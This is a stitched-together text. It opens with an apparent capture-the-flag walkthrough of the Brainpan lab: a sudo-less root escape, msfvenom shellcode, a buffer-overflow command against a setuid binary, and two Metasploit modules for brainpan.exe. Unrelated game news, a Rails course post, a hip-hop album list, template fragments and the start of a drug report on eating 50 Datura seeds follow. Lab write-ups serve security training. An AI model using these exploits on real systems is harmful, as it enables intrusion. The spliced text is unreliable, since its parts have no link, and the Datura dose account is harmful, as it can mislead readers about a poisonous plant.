Linux brainpan 3.5.0-25-generic #39-Ubuntu SMP Mon Feb 25 19:02:34 UTC 2013 i686 i686 i686 GNU/Linux
puck@brainpan:/etc$ cat os-release
NAME="Ubuntu"
VERSION="12.10, Quantal Quetzal"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu quantal (12.10)"
VERSION_ID="12.10"
Let's see if the user has any sudo permissions.
puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
Interesting. Let's see what this program does.
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
Trying each of these commands, I'm getting an error about my terminal ('unknown': unknown terminal type.) with proclist and manual. I'll use python to spawn a new pty shell.
python -c 'import pty; pty.spawn("/bin/bash")'
Now I'm getting warnings, but the manual command seems to be running better. Here's the deal with the manual command (more commonly shortened to 'man'), it uses 'less' to page its output. Here's the deal with less (help text accessible by pressing 'h' while in man)...
Notice the '!command' entry. That's right. You can execute any command from within less. So, since we can sudo a manual entry, we can sudo less, which can sudo anything we want. Let's try it...
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual less
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
LESS(1) LESS(1)
NAME
less - opposite of more
SYNOPSIS
less -?
less --help
less -V
less --version
less [-[+]aABcCdeEfFgGiIJKLmMnNqQrRsSuUVwWX~]
[-b space] [-h lines] [-j line] [-k keyfile]
[-{oO} logfile] [-p pattern] [-P prompt] [-t tag]
[-T tagsfile] [-x tab,...] [-y lines] [-[z] lines]
[-# shift] [+[+]cmd] [--] [filename]...
(See the OPTIONS section for alternate option syntax with long option
names.)
DESCRIPTION
Less is a program similar to more (1), but it has many more features.
Less does not have to read the entire input file before starting, so
with large input files it starts up faster than text editors like vi
(1). Less uses termcap (or terminfo on some systems), so it can run on
Manual page less(1) line 1 (press h for help or q to quit)!/bin/bash
root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
Let's get that root flag.
root@brainpan:/usr/share/man# cd /root
root@brainpan:/root# cat b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
I guess this is the "flag". Maybe getting root is all.
Pivoting
N/A
Clean Up
*** STOP /home/puck/web/thumbs ***
*** REMOVE /home/puck/web/thumbs ***
Additional Info
validate
While getting root using the man/less trick was much easier, for the sake of learning, I went ahead and worked out a buffer overflow for the validate program in /usr/local/bin.
-rwsr-xr-x 1 anansi anansi 8761 Mar 4 2013 /usr/local/bin/validate
The validate program is owned by anansi and has the sticky bit set (so it runs as that user).
Once I worked through the same series of overflow steps as used above, I created a payload to spawn a command shell.
root@kali:~/Walkthroughs/brainpan# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -f c –e x86/shikata_ga_nai -b "\x00\x09\x0a\x20\x46"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=15, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xfe\xa3\x49\xcc\x83\xee\xfc\xe2\xf4\x94\xa8\x11\x55\xac\xc5"
"\x21\xe1\x9d\x2a\xae\xa4\xd1\xd0\x21\xcc\x96\x8c\x2b\xa5\x90"
"\x2a\xaa\x9e\x16\xab\x49\xcc\xfe\x8c\x2b\xa5\x90\x8c\x3a\xa4"
"\xfe\xf4\x1a\x45\x1f\x6e\xc9\xcc";
I was able to send my overflow with the payload using a simple python print statement.
puck@brainpan:/usr/local/bin$ ./validate $(python -c 'print "\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xfe\xa3\x49\xcc\x83\xee\xfc\xe2\xf4\x94\xa8\x11\x55\xac\xc5\x21\xe1\x9d\x2a\xae\xa4\xd1\xd0\x21\xcc\x96\x8c\x2b\xa5\x90\x2a\xaa\x9e\x16\xab\x49\xcc\xfe\x8c\x2b\xa5\x90\x8c\x3a\xa4\xfe\xf4\x1a\x45\x1f\x6e\xc9\xcc" + "\x90"*(116 - 68) + "\xaf\x84\x04\x08"')
$ id
uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)
Once I became the user anansi, I was able to change the /home/anansi/bin/anansi_util program to /bin/bash and sudo it to get root.
$ cd /home/anansi/bin
$ mv anansi_util anansi_util.orig
$ cp /bin/bash anansi_util
$ sudo /home/anansi/bin/anansi_util
root@brainpan:/home/anansi/bin# id
uid=0(root) gid=0(root) groups=0(root)
mona suggest
I decided to try the mona suggest option with my brainpan.exe overflow. To do this, we only need our first step of testing the overflow... sending a cyclic pattern. Once we crash the app with the cyclic pattern, we can run the following mona command.
!mona suggest -cpb '\x00'
This finishes the rest of the overflow steps for us and even generates a ruby module ready to load into Metasploit (with a few tweaks). One thing we notice that could use some tweaking is the 'buffer << payload.encoded #max 116 bytes' line. It thinks it can only send 116 additional bytes because of the length of the cyclic pattern we tested with (650 bytes). In reality, we saw that we could overflow an additional 472 bytes after setting the EIP. This is just a comment and won't affect the exploits execution, but we should probably fix it.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'insert name for the exploit',
'Description' => %q{
Provide information about the vulnerability / explain as good as you can
Make sure to keep each line less than 100 columns wide
},
'License' => MSF_LICENSE,
'Author' =>
[
'insert_name_of_person_who_discovered_the_vulnerability<user[at]domain.com>', # Original discovery
'<insert your name here>', # MSF Module
],
'References' =>
[
[ 'OSVDB', '<insert OSVDB number here>' ],
[ 'CVE', 'insert CVE number here' ],
[ 'URL', '<insert another link to the exploit/advisory here>' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00", # <change if needed>
'DisableNops' => true,
},
'Targets' =>
[
[ '<fill in the OS/app version here>',
{
'Ret' => 0x311712f3, # jmp esp - brainpan.exe
'Offset' => 524
}
],
],
'Privileged' => false,
#Correct Date Format: "M D Y"
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
'DisclosureDate' => 'MONTH DAY YEAR',
'DefaultTarget' => 0))
register_options([Opt::RPORT(9999)], self.class)
end
def exploit
connect
buffer = rand_text(target['Offset'])
buffer << [target.ret].pack('V')
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encode_string # avoid GetPC shellcode corruption
buffer << payload.encoded #max 116 bytes
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end
It is really nice to see how easily it determined the offset and JMP ESP. It look us several steps to find that. Good job, mona!
Here's my tweaked version of the Metasploit module. I ran it and confirmed it works! 😄
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
#Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
#ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Brainpan Buffer Overflow',
'Description' => %q{
This was designed to exploit the buffer overflow in brainpan.exe
from VulnHub: Brainpan: 1. The brainpan.exe service listens on
TCP port 9999.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Many Have Gone Before', # Original discovery
'Larry Brown', # MSF Module
],
'References' =>
[
[ 'URL', 'https://www.vulnhub.com/entry/brainpan-1,51/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00", # <change if needed>
'DisableNops' => true,
},
'Targets' =>
[
[ 'brainpan.exe',
{
'Ret' => 0x311712f3, # jmp esp - brainpan.exe
'Offset' => 524
}
],
],
'Privileged' => false,
#Correct Date Format: "M D Y"
#Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
'DisclosureDate' => 'Apr 24 2019',
'DefaultTarget' => 0))
register_options([Opt::RPORT(9999)])
end
def exploit
connect
buffer = rand_text(target['Offset'])
buffer << [target.ret].pack('V')
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encode_string # avoid GetPC shellcode corruption
buffer << payload.encoded #max 116 bytes
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end


Let's Watch Nolan North Play The Last Of Us For The First Time
by Stephen TotiloThe Last Of Us has one of the most powerful beginnings of any video game, which makes it hard to stop watching this unusual new Let’s Play of it. The 77-minute video, uploaded to YouTube yesterday, is hosted by the actors who played the lead roles in that intro scene, while the game is played by a Last Of Us first-timer: the voice of Nathan Drake, Nolan North.
Without spoiling things too much, the game’s intro establishes the disastrous state of the world in which the rest of the game is set. It lasts about 20 minutes before the opening title sequence hits.
The actors co-hosting this first instalment are Troy Baker, who played Joel, and Hana Hayes, who played Joel’s daughter, Sarah. Both talk over North’s playthrough of the intro, offering behind-the-scenes tidbits about how various scenes were staged, as well as revealing that a key line early on had been ad-libbed and describing how they handled multiple takes of the intro’s climactic moment.
If you don’t know how The Last Of Us starts and can’t play it yourself on PS3 or PS4, this is a pretty good way to experience it. Like North, you might be surprised at some of what you see and the level of craft on display.


--- layout: post title: Rails 3 Beginner to Builder 2011 Week 7 date: '2011-07-31T23:49:00-05:00' tags: - pagination, - Rails-3-beginner-to-builder-2011 - ruby - rails - sql - activerecord - method missing - search permalink: /post/8326137924/rails-3-beginner-to-builder-2011-week-7 ---
This is part 7 of my Rails 3: Beginner to Builder series. https://www.schneems.com/beginner-to-builder-2011.
Assignment before next week (Week 8): Chapters 18, 19, & 20 and deploy your application to Heroku.
Rails 3 Beginner to Builder 2011 Week 7 from richard schneeman on Vimeo.
Rails 3 Beginner to Builder 2011 Week 7 View more presentations from Richard Schneeman.
Topics:
- SQL Crash Course
- where & find
- method_missing
- scopes and class methods
- Pagination
- full text search
- Rake vs. Script/Runner


50 Cent Returns to Instagram After Removing His Own Account
by Trent FitzgeraldGuess who’s back?
After a week-long hiatus, 50 Cent returned to Instagram doing what he does best—trolling.
On Wednesday (Nov. 20), the rapper-entertainment mogul hopped on the photo-sharing platform and posted a series of photos. One picture finds Fif lusting after Lizzo, who was just nominated for eight Grammy Awards and name-dropping Drake as well. “@lizzobeeating booty look good,” he wrote alongside a clip of the singer posing seductively. “I just saw @champagnepapi look at it. Lol.”
In another photo, the Animal Ambition: An Untamed Desire to Win rapper is teasing Power co-star Naturi Naughton and in another pic. In another, 50 is on the set as his character on his upcoming new television ABC series For Life.
Finally, in one funny post, he shares a famous scene from Paid In Full featuring Mekhi Phifer as Mitch revealing to Ace, played by Wood Harris, his feelings of fear, vulnerability and confusion after his little brother is kidnapped. The post's caption reads, "50 Cent's First Day Back on Instagram."
Two days ago, 50 Cent, who just finished a brief tour this past summer, denied false reports that Instagram deactivated his account.  #LeCheminDuRoi #bransoncognac," 50 said in a tweet on his Twitter account.
Check out photos from 50 Cent's return to Instagram below.
See 50 of the Best Hip-Hop Albums Since 2000
4:44, Jay-Z
It only took 13 albums, but Marcy Projects’ rap deity gave us a more human side with his latest album. 2017’s 4:44 is easily Jay-Z best solo platter in a decade. Through some grown-man rap beats crafted by No I.D. we learn Jigga was raised by a closeted lesbian, his infidelity nearly destroyed his marriage and he regrets stabbing Lance "Un" Rivera. Turns out, there is a little dirt on his shoulder.
Be, Common
Executive-produced by fellow Chicagoan Kanye West, who manages to provide Common’s exploratory art with just the right about of boundary, Be signals the modern poet’s most focused and accessible work since 1994’s Resurrection. West crowned Common “today’s Marvin Gaye of rap,” and Com delivered with a masterclass in writing, finding hope in the grimiest of street corners.
Below the Heavens, Blu & Exile
One of the standard-setters among a proliferation of one-producer, one-MC albums that have populated the hip-hop underground since 2000, rapper Blu and beatsmith Exile’s 15-track union is hailed as the quiet classic of 2007. Unassuming and crafted with care, Below the Heavens endures with its everyman appeal and its ability to illuminate a side of Los Angeles hip-hop the burns largely under the radar.
Boy Meets World, Fashawn
As fine of an underground debut as one could hope for, Fashawn links with soulful sample-bender Exile for a coming-of-age extravaganza that is, by turns, introspective, insightful and fun as hell. “The album is what I call traditional, real hip-hop. Mad different dimensions. I was very impressed,” said the legendary Large Professor in a YouTube interview. We concur.
Damn., Kendrick Lamar
The first non-jazz, non-classical album to win the Pulitzer Prize for Music, Damn plays equally enrapturing as a front-to-back or back-to-front listen. Kendrick Lamar’s pen game finds rarified air as he wrestles with topics the size of his ambition—“Lust,” “Love,” “Loyalty,” Fear,” “God”—and scorches through hair-raising moments like “Humble” and “DNA.”
Daytona, Pusha-T
Just when you swear King Push has run out of fresh coke rhymes, he dips into his pockets for another stash. Fierce and distilled, Daytona’s rapid seven-track playlist—produced almost exclusively by Kanye West—hits like a combination that leaves its listener dazed and amazed, and crawling back for another hit.
Disposable Arts, Masta Ace
It’s commendable that 11 years after his snapping Juice Crew debut, 1990’s Take a Look Around, Masta Ace could churn out this brilliant concept album that follows the release of a young man from prison as he realizes how dire life in Brooklyn has become. Few can execute a full-length theme as effortlessly as Ace, who dodges the traps of sounding corny or forced.
Donuts, J Dilla
Diagnosed with an incurable blood disease while also battling lupus, Dilla toiled away on Donuts, a special beat project, between treatments at Cedars-Sinai Medical Center. This weird, lovely instrumental piece stands as one of the last great accomplishments by a man whose impact on the beat game is difficult to overstate.
DS2, Future
The second edition of Future’s Dirty Sprite series holds up as the most complete studio work of a prolific and zeitgeist-altering career, easily one of the most influential in the 2000s to this point. “Fuck Up Some Commas” is the anthem of the aspirational rich. Through a barrage of chants and club-rattling trap, Future gives us refreshing peeks at his vulnerability. A tip of the cap to producer Metro Boomin is necessary here.
Fantastic, Vol. 2; Slum Village
Originally completed in 1998 and scrapped by A&M Records, the coming-out party from the original incarnation of Detroit trio Slum Village—T3, Baatin and Jay Dee—finally saw release in 2000. Icons like Q-Tip, D’Angelo, Busta Rhymes, Pete Rock and Kurupt co-signed this next-wave, Native Tongues–influenced crew, but Fantastic’s most enduring tracks (“I Don’t Know,” “Get Dis Money,” “Players”) don’t need any assistance from their famous friends.
Fishscale, Ghostface Killah
Following a pair of decent but inconsistent efforts, Tony Stark celebrated a return to form in 2006. Fishscale—Ghost’s highest-charting LP since 1996’s Ironman—was welcomed with rave reviews across the board, nailing us with indisputable jams “Be Easy,” “Back Like That,” “Kilo” and “Charlie Brown.” “The Champ” could make a wimpy kid want to take on the schoolyard bully, and “Whip You with a Strap” stands as the realest rap song on child discipline committed to wax.
Flower Boy; Tyler, The Creator
Already born way left, Tyler veered even farther in that direction, delivering his most polished, nuanced and heartfelt LP in 2017. A collection of screwy, off-kilter, pretty love ditties is stitched together by Tyler’s charisma and confidence that he’s making music that means something to him. If it means something to you, bonus.
Game Theory, The Roots
Questlove, Black Thought & Co. stripped down their compositions and scaled back on the instrumental excursions for their first effort on Def Jam. Darker and grittier than their early catalog, Game Theory nails its serious tone, and Thought, as usual, churns out whirlwind verses (“Here I Come”). Hot tip: A Peedi Crakk cameo never hurts.
Get Rich or Die Tryin’, 50 Cent
This eight-times-platinum monster dominated airwaves, clubs and everywhere in between in 2003. Steeped in the real-life backstory of a man who survived nine shots and steeled by the bulletproof backing of Dr. Dre and Eminem at the height of their powers, Get Rich or Die Tryin’ supplied accessible anthems for gangstas and wankstas alike. “In da Club,” “21 Questions” and “P.I.M.P.” are entrenched in the hip-hop canon, while album cuts like “What Up Gangsta,” “Many Men” and “If I Can’t” remain undeniable.
good kid, m.A.A.d city, Kendrick Lamar
About as instant as a classic can get, Kendrick’s first platter since hooking up with the Aftermath/Interscope machine reads like a magnus opus a lifetime in the making, as if the dexterous MC had been waiting until he had the most ears possible before unleashing his most personal and punishing work. From backseat freestyles to alcoholic swan dives, listeners left 2012 feeling like they understand the world from which Lamar grew—and hopeful for the future of lyricism in hip-hop.
Graduation, Kanye West
Whereas West’s first two LPs were sprawling, exploratory efforts sprinkled with (too many?) skits, Graduation condenses the energy, the focus. The result is confident celebration of a hip-hop artist who’s already won. “Good Life,” “Stronger,” “The Glory,” “Champion”? This is Yeezy pouring champagne for anyone with a glass. You can’t tell him nothing.
Hell Hath No Fury, Clipse
Sharper and more mature than their excellent debut, the Thornton brothers’ sophomore offering drives us deeper into their world of drug-dealing and paranoia. Over The Neptunes’ slinky, sparse and searing soundtrack we get braggadocio (“Keys Open Doors”), regret (“Momma I’m So Sorry”) and one of rap’s greatest sneak disses (“Mr. Me Too”). Yughk!
Invasion of Privacy, Cardi B
Who knew 2018's most dominant rap album would vacillate between revenge fantasies, thick Atlanta tongue-twisting trap, Miami booty shake, passionate relationship analysis and NYC summer block party anthems? With its churning beats and monster hooks, Invasion of Privacy is only outdone by its wildly charismatic inventor.
King, T.I.
Debuting atop Billboard upon its release in 2006, King is the shiny realization of a rubberband man who can now build a castle with all his stacks. Tip uses his position in the throne to add producers Swizz Beatz, Just Blaze, The Neptunes, Mannie Fresh and the dependable DJ Toomp (who brings an A-plus heater in “What You Know”) to his roster. He confidently throws his charisma into everything they whip up.
Late Registration, Kanye West
Mr. West wakes us up to the realization that the sophomore slump can be overcome with a dedication to your craft and a willingness to spread ones wings creatively and collaboratively. Tapping film score composer Jon Brion to help oversee the project, Ye paints entire worlds with each song, piling up the indelible moments on standouts like “Gold Digger,” “We Major,” “Drive Slow” and “Hey Mama.”
Let’s Get Free, dead prez
A triumphant return to the type of full-blown politically conscious rap music pushed by Public Enemy, X-Clan and Brand Nubian, dead prez’s debut railed all the way left at a time most artists were playing it safe down the middle. The anthemic “Hip Hop” alone, with its chanting hook and thunderclap bass, would be nearly enough to support an album, but M-1 and stic.man’s excursions into fully realized concept tracks (“Police State,” “Mind Sex,” “Be Healthy,” “They Schools”) gives enough food for thought to feed a nation.
Madvillainy, Madvillain
At the height of Stones Throw’s powers, shadowy MC MF Doom and dusty-fingered production genius Madlib formed one of the greatest and most dastardly duos of our time. Over 22 weird and wonderful snippets crafted in a makeshift studio inside a Brazilian hotel room—some as brief as 52 seconds, a scant few longer than 2:30—the metallic masked one huffs and puffs scattered pages from a graphic novel that doesn’t exist but totally should.
Miss E… So Addictive, Missy Elliott
One could make the case that Miss E… is Missy at her very best. Thanks in large part to her co-producer Timbaland, by 2001 the duo had settled on a sound—this brand of liquid, futuristic electro-thump—and were enjoying the party within those walls. They knew their formula worked, so the guests (Jay-Z, Ludacris, Eve, Busta Rhymes) come prepared to adapt to their sounds.
Monkey Barz, Sean Price
Of all the wonderfully arrogant and abrasive music Sean P released into the ether before his death, Monkey Barz, the Heltah Skeltah MC's 2005 solo debut, packs the most punch. Few give less of an eff or more left-field punchlines than Ruck. This is music to smack someone to.
My Beautiful Dark Twisted Fantasy, Kanye West
Kanye jets to Hawaii and morphs into a sort of hip-hop Quincy Jones, acting as a head chef with access to a zillion ingredients. A dash of Nicki Minaj here, a splash of Rihanna there. A Chris Rock riff, a RZA composition. The result is gorgeous, nuanced and unapologetic proof of the power a mad scientist can unleash when he wholly embraces the spirit of collaboration.
My Krazy Life, YG
The thuggy, in-your-face counterpart to Kendrick Lamar’s good kid, m.A.A.d. city, My Krazy Life reveals that “Toot It and Boot It” rapper to be so much more than a crafter of carefree radio jams, although he can still spill a hit (“My Nigga,” “Who Do You Love?”). Here, it’s YG’s storytelling acumen and wicked mood-setting—plus Mustard on the beat—that compels us to keep the LP on repeat.
Nothing Was the Same, Drake
On Nothing Was the Same, Drake strikes a better balance of his dual threats, singing and spitting. “Started from the Bottom,” “Worst Behavior” and “The Language” dazzle with a hard edge seemingly cribbed from his many trips south of the Mason-Dixon, whereas a smash single like “Hold On, We’re Going Home” is wonderful in a completely opposite, Billy Ocean kinda way. Even Drake’s cutting-room-floor material from 2013 (“All Me,” “The Motion”) holds up.
Only Built 4 Cuban Linx 2, Raekwon
The oft-delayed, much-anticipated sequel to the Chef’s 1995 debut finally arrived in 2009, but judging from how many critical best-of-the-year lists it made, the project was worth the wait. Adopting a similar cinematic feel as its predecessor, OB4CL2 wins because Raekwon somehow pulls a myriad of big-name beat-makers (Dilla, RZA, Necro, Erick Sermon, The Alchemist, Moss, Dr. Dre, Pete Rock) into his orbit and spins out a cohesive and consistently sinister dramatization that runs on a razor’s edge.
Phrenology, The Roots
Phrenology is a discredited pseudoscience that involves the measurement of bumps on the skull to predict mental traits. It’s also an inventive 2002 creation from The Roots that doesn’t forget the joy. Be it the unearthing of Cody ChesnuTT on “The Seed (2.0),” the word wizardy of “Thought @ Work” or the blunt realization of the power of lust on “Pussy Galore,” Philly’s house band continues to bring heat—and ideas.
Run the Jewels 2, Run the Jewels
At the speed of sound, El-Producto and Killer Mike ratchet up the intensity and forcefulness of their head-turning debut. The beats bang harder. The quotables ring truer. And they could be the only duo to throw Zack de la Rocha, Boots Riley and Gangsta Boo on the same playlist and make them all fit like a boxing glove.
Speakerboxxx: The Love Below, OutKast
It’s as if Big Boi and André 3000 had already broken up, but neither they nor we wanted to admit it. So Atlanta’s most cherished hip-hop couple gave us two solo LPs thinly disguised as a group double-album. Over the course of this 39-track behemoth, Big Boi asserts himself as songwriter capable of wowing by his lonesome and André is given the freedom to let his freak flag fly—and his vocal cords glide.
Stankonia, OutKast
At the turn of the century, André 3000 and Big Boi proved they could cross over without sacrificing a smidgen of integrity. Our favorite ATLiens scored their first No. 1 pop hit with “Ms. Jackson,” balancing their ode to baby mommas’ mommas with pimptastic arrogance (“So Fresh, So Clean”), hyperspeed Jupiter raps (“B.O.B.”) and misadventures in booty calling (“I’ll Call Before I Come”).
 But after honing his skills through some stellar cameos and mixtapes, Cali kid Vince Staples swings big in 2015. Produced primarily by accomplished Chicago boardsman No I.D., Summertime was welcomed with widespread acclaim. It's an hour of stories from one of the cleverest minds to bless a mic in this century.
Supreme Clientele, Ghostface Killah
With back-to-back classics, Ghostface came off the top ropes in 2000 to steal the crown of Most Consistent Wu-Tang Solo Act. Wielding his up-tempo, unpredictable rhyme flow like a shiv in a prison yard, Ghost and producer RZA bless us with a wild, loud thrill ride of a record that crackles with urgency and yanks the best out of guests like Raekwon, Redman and Cappadona.
Take Care, Drake
Whereas Drizzy’s major-label debut lulled at times, the Toronto superstar’s second go-round is a more immersive work that picks at its author’s neuroses and does a superior job of shifting you into its moods. The bangers (“HYFR”) smash harder, the R&B duets (“Take Care,” with Rihanna and “Crew Love” with The Weeknd) feel more like events, and the emo moments ring truer (“Marvins Room”).
Tha Carter II, Lil Wayne
Tha Carter II is the first studio effort that signaled Lil Wayne alone was a force greater than a Hot Boys contributor or mixtape monster. He could write crossover hits (“Shooter”), spin heads with his verbiage (“Tha Mobb”) and emerge as a contender for the throne (“Best Rapper Alive”). Regional bias be damned.
Tha Carter III, Lil Wayne
The third and most pop-polished installment of Tha Carter series represents peak Weezy, in both the record’s anticipation and its making good on a promise of something memorable, special. With its sticky hooks, marquee collaborations (behind the mic and behind the boards) and long flourishes of creative wordplay, the album rides that rare line between accessibility and inventiveness. Hype justified.
The Black Album, Jay-Z
Debuting at No. 1 and spawning an entire craft industry of Black Album remix projects, Jay-Z’s supposed goodbye letter to the art form supplies enough pure bangers to last most MCs through retirement. “Encore,” “Dirt Off Your Shoulder,” “Lucifer,” “Public Service Announcement”… and who will ever forget the Jay-Z/Rick Rubin collab “99 Problems”? Hov blacked out.
The Blueprint, Jay-Z
Hova’s best and most focused solo project since his Reasonable Doubt debut doubled as a showcase for the soul-sampling skills of a couple of earthshaking super producers (Kanye West and Just Blaze) while also igniting a fierce feud with Nas (“Takeover”) and giving us a rare glimpse of emo Jay (“Song Cry”). There’s joy, sadness, anger and bangers aplenty. No wonder The Blueprint became the first recording from the 21st century selected for preservation in the National Recording Registry.
The College Dropout, Kanye West
In 2004, we discovered something. Not only could that chipmunk-soul producer spit, he was also capable of churning out a classic. Kanye’s debut, while indulgently long at 76:13, serves up a masterclass in both myth making and beat-making. Sure, there are just-for-fun trifles like “Slow Jamz” and “The New Workout Plan,” but the detail and passion poured into biographical tracks such as “Spaceship,” “Through the Wire” and “Family Business” had us invested in Kanye West, the person.
Lupe Fiasco’s The Cool, Lupe Fiasco
A concept LP based on title character from his debut, Food & Liquor, Lupe Fiasco’s The Cool was recorded as the artist dealt with the deaths of his father and his good friend Stack Bundles. “It was a very dark period,” Fiasco would explain later. (Un)fortunately, those often make for good art, and The Cool expands Lupe’s prowess as a commenter on the sociopolitical climate (“Little Shooters”) and raiser of literary bars (“Dumb It Down”).
The Documentary, The Game
Dr. Dre begat Eminem begat 50 Cent begat The Game. And the protégé’s protégé’s protégé comes through with a classic written after carefully studying the classics. While knocked a little for his penchant for name-dropping, Game made a name for himself by hunting down beats (Dre, Scott Storch, Just Blaze, Timbaland, Hi-Tek, Havoc, Needlz, Buckwild, Kanye, Cool & Dre) and voices (50, Em, Busta Rhymes, Nate Dogg, Faith Evans, Mary J. Blige) from the best. In ’04, everyone wanted to be part of Compton’s next big thing.
The Eminem Show, Eminem
Marshall Mathers goes big and bold with this threepeat of classic full-lengths, employing a polished, rock-heavy production aesthetic, as if he was searching for outsized themes and hooks that would soar on his next world tour. The verbal gymnastics are as limber as ever (“Without Me”), but the targets get more personal (“Cleanin’ Out My Closet”) and political (“White America”).
The Fix, Scarface
Reinvigorated Houston legend Brad Jordan sounds at the top of his game on The Fix, his Def Jam debut, in which the iconic street-rap author is paired with mainstream contemporary super-producers like Nottz, Kanye West and The Neptunes, who all bring the goods. The rhymes remain as concise, hard-hitting and insightful as ever, but the polish of anthems like “My Block” and “Guess Who’s Back” (with star turns by Jay-Z and Beanie Sigel) update classic ’Face for the masses.
The Lost Tapes, Nas
Free from the typical pressures to deliver a radio single or two, the observational intricacies and chance-taking nature of this 2002 collection of cuts that failed to make Nas’ I Am…, Nastradamus and Stillmatic albums offers diehard fans a peek at the notebooks, where the words run past the margins. Nas’ writing takes center stage as his knack for narrative and deep thought shines bright on “Doo Rags,” “Blaze a 50,” and “Poppa Was a Playa.”
The Marshall Mathers LP, Eminem
Detroit’s favorite trailer park boy doubles down on the wit, sarcasm and conceptual brilliance he’d established the year prior with The Slim Shady LP. Dr. Dre acts as the control to the blond wordsmith’s chaos, Eminem gleefully exploring new realms of irreverence and offensiveness, while grounding the whole shebang in genuine pain and otherworldly microphone techniques.
The Renaissance, Q-Tip
Decidedly less, um, vivrant than Q-Tip’s first run at a solo album, The Renaissance finds a warm, consistent groove, thanks to the MPC2000XL the MC/producer holds on the record jacket. Any fears of “Does Tip still have it?” after his long break from the mic are quickly and repeatedly allayed. He sounds like he’s having fun again.
To Pimp a Butterfly, Kendrick Lamar
Veering away from the block-centred come-up narrative of his Aftermath debut, Kendrick Lamar flexed a more experimental and conscious muscle on 2015’s To Pimp a Butterfly. Incorporating jazz and funk, spoken word and avant-garde sonic elements, our virtuoso uses scope and a proud sense of Blackness to uplift through insightful, incredible performances of “Alright,” “King Kunta” and “Institutionalized.”
Train of Thought, Reflection Eternal
How do you follow up the underground triumph that was Black Star? Well, if you’re Talib Kweli, you link with an incredible producer from Cincinnati, Hi-Tek, and crank out a series of dense and deliberation dissertations over a rock-solid, soul-influenced bed of sounds. Kweli pours a pound of care into hip-hop culture with an ambitious effort that gives you fodder for thought and drums to snap your neck.
Watch the Throne, Jay-Z & Kanye West
Take your pick: The scrunch-faced funk of the Redding-sampled “Otis”? The nightmarish religious debunk that is “Church of the Wild”? Or the Oslen twins shoutout in the spellbinding “Niggas in Paris”? Watch the Throne brings enough golden moments that there are actually tracks where the sum exceeds the parts.


Bills are categorized by Open States, a product of the Sunlight Foundation. View all bill categories.
| Bill | Caption | Action |
|---|---|---|
| {{ bill.name }} | {{ bill.description }} | {{ bill.actions.first.text }} |
No bills have been filed under this category yet.
{% endif %}


High Five!!!
You did it. You made the website work!!
You completed the exercise.
Give youself a pat on the back


| DOSE: |
50 seeds |
oral |
Datura |
(seeds) |
(ED, excuse the long intro, but it serves to show the lack of thought that can go into an experiment like this.)
- Preamble -
I was 17 years of age and had heard about a plant which would get you high. That fact, the name and what it looked like was about the only information I had on Datura, known to me then by its colloquial name of Malpitte. Typical of my approach to the experiment, mindless, I only registered the name phonetically and it only later clicked that the direct translation of the Afrikaans 'Mal Pitte' to English is 'Mad Seeds.' I live in South Africa, by the way.
